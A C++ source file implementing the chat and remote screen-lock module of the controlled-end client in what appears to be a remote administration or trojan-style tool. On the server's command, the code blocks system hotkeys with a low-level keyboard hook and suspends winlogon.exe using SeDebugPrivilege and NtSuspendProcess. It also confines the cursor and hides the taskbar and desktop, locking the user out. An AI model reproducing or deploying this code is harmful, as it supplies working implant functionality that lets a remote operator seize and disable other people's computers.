// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>

#if ENABLE_MESSAGE

// 远程交谈（双向聊天）被控端实现，移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后，被控端在此显示聊天窗口，并支持服务端远程锁定屏幕。

#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);

struct PIDWNDINFO {
    DWORD dwProcessId;
    HWND  hWnd;
};

// 锁定屏幕相关的全局状态（同一会话内只有一个 CChatManager 实例）
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int   g_nLocked = 0;

static DWORD GetWinlogonPid()
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    PROCESSENTRY32 pEntry = { sizeof(pEntry) };
    BOOL rtn = Process32First(snap, &pEntry);
    while (rtn) {
        if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
            CloseHandle(snap);
            return pEntry.th32ProcessID;
        }
        memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
        rtn = Process32Next(snap, &pEntry);
    }
    CloseHandle(snap);
    return 0;
}

// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
    if (code == HC_ACTION) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
        switch (wParam) {
        case WM_KEYDOWN:
        case WM_SYSKEYDOWN:
        case WM_KEYUP:
        case WM_SYSKEYUP:
            if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0)     // ALT+TAB
                || (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0)   // ALT+F4
                || (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0)  // Alt+Esc
                || (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0)  // Ctrl+Esc
                || (p->vkCode == VK_LWIN)
                || (p->vkCode == VK_RWIN)) {
                return 1;
            }
            break;
        }
    }
    return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}

static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
    PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
    LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
    if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
        IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
        ShowWindow(hWnd, SW_MINIMIZE);
        return TRUE;
    }
    DWORD dwProcessId;
    GetWindowThreadProcessId(hWnd, &dwProcessId);
    if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
        pInfo->hWnd = hWnd;
        return FALSE;
    }
    return TRUE;
}

// 安装键盘钩子并挂起 winlogon（必须在聊天窗口线程调用，确保钩子有消息循环）
static void ChatSetHook()
{
    g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
    HMODULE hMod = LoadLibrary("ntdll");
    if (hMod) {
        RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
        SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
        g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
        DWORD pid = GetWinlogonPid();
        BOOLEAN dummy = 0;
        if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
        g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
    }
}

static void ChatUnSetHook()
{
    if (g_hKeyBoard) {
        UnhookWindowsHookEx(g_hKeyBoard);
        g_hKeyBoard = NULL;
    }
    if (g_lpfnNtResumeProcess && g_hProcess) {
        g_lpfnNtResumeProcess(g_hProcess);
    }
    if (g_hProcess) {
        CloseHandle(g_hProcess);
        g_hProcess = NULL;
    }
    g_lpfnNtResumeProcess = NULL;
}

// 解除锁定：恢复鼠标/屏保/任务栏/开始菜单/桌面，并恢复 winlogon
static void UnlockScreen()
{
    ChatUnSetHook();
    ClipCursor(NULL);
    SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
    ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
    ::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
    ::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
    g_nLocked = 0;
}

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
    m_hInstance = HINSTANCE(user);
    m_hWnd = NULL;
    m_bRun = TRUE;
    g_nLocked = 0;

    // 向服务端发起远程交谈，服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
    BYTE bToken = TOKEN_CHAT_START;
    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
    m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
    WaitForDialogOpen();

    m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
    Mprintf("Chat 构造\n");
}

CChatManager::~CChatManager()
{
    m_bRun = FALSE;
    while (m_hThread)
        Sleep(100);

    if (g_nLocked == 1) {
        UnlockScreen();
    }
    if (m_hWnd) {
        SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
    }
    Mprintf("Chat 析构\n");
}

DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
    CChatManager* pThis = (CChatManager*)lParam;
    HANDLE& hThread(pThis->m_hThread);

    pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
                                       CChatManager::ChatDialogProc, (LPARAM)pThis);
    if (pThis->m_hWnd) {
        SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
        SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
        // 移除最小化/最大化按钮
        LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
        lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
        SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);

        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
            if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
    }

    CloseHandle(hThread);
    hThread = NULL;
    return 0;
}

INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
    switch (uMsg) {
    case WM_INITDIALOG:
        SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
        pThis = (CChatManager*)lParam;
        SetWindowText(hDlg, "远程交谈");
        SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
        SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
        {
            HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
            if (hIcon) {
                SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
                SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
            }
        }
        return TRUE;

    case WM_COMMAND:
        if (LOWORD(wParam) == IDC_BUTTON_SEND) {
            char str[4096] = { 0 };
            GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
            if (str[0] == 0) {
                SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
                return TRUE; // 消息为空不发送
            }
            pThis->Send((LPBYTE)str, lstrlenA(str) + 1);

            SYSTEMTIME st;
            GetLocalTime(&st);
            char Text[5120] = { 0 };
            sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n", "自己:",
                       st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
            HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
            int nLen = GetWindowTextLength(hEditChatLog);
            if (nLen >= 20000) {
                SetWindowText(hEditChatLog, "");
                nLen = GetWindowTextLength(hEditChatLog);
            }
            SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
            SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
            SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
            SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
            return TRUE;
        }
        if (LOWORD(wParam) == IDC_BUTTON_END) {
            // 被控端主动结束交谈：关闭本地聊天窗口
            SendMessage(hDlg, WM_USER + 1, NULL, NULL);
            return TRUE;
        }
        break;

    case WM_CLOSE:
        return 0;

    case WM_USER + 1:
        pThis->m_hWnd = NULL;
        DestroyWindow(hDlg);
        return TRUE;

    case WM_USER + 2:
        ChatSetHook();
        return TRUE;

    case WM_DESTROY:
        PostQuitMessage(0);
        return TRUE;

    default:
        break;
    }
    return FALSE;
}

VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
    if (szBuffer[0] == TOKEN_HEARTBEAT) return;

    if (ulLength == 1) {
        switch (szBuffer[0]) {
        case COMMAND_NEXT_CHAT:
            NotifyDialogIsOpen();
            return;
        case COMMAND_CHAT_CLOSE:
            if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
            return;
        case COMMAND_CHAT_SCREEN_LOCK:
            NotifyDialogIsOpen();
            if (m_hWnd && g_nLocked == 0) {
                ShowWindow(m_hWnd, SW_RESTORE);
                RECT rct = { 0 };
                GetWindowRect(m_hWnd, &rct);
                ClipCursor(&rct);
                SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
                PIDWNDINFO pwi = { 0 };
                pwi.dwProcessId = 0;
                pwi.hWnd = m_hWnd;
                EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
                ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
                ::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
                ::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
                SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
                g_nLocked = 1;
            }
            return;
        case COMMAND_CHAT_SCREEN_UNLOCK:
            if (g_nLocked == 1) {
                UnlockScreen();
            }
            return;
        default:
            break;
        }
    }

    // 收到服务端发来的聊天文本
    SYSTEMTIME st;
    GetLocalTime(&st);
    char Text[8192] = { 0 };
    sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n", "对方:",
              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
    if (m_hWnd) {
        HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
        int nLen = GetWindowTextLength(hEditChatLog);
        if (nLen >= 20000) {
            SetWindowText(hEditChatLog, "");
            nLen = GetWindowTextLength(hEditChatLog);
        }
        SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
        SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
        ShowWindow(m_hWnd, SW_RESTORE);
    }
}

#endif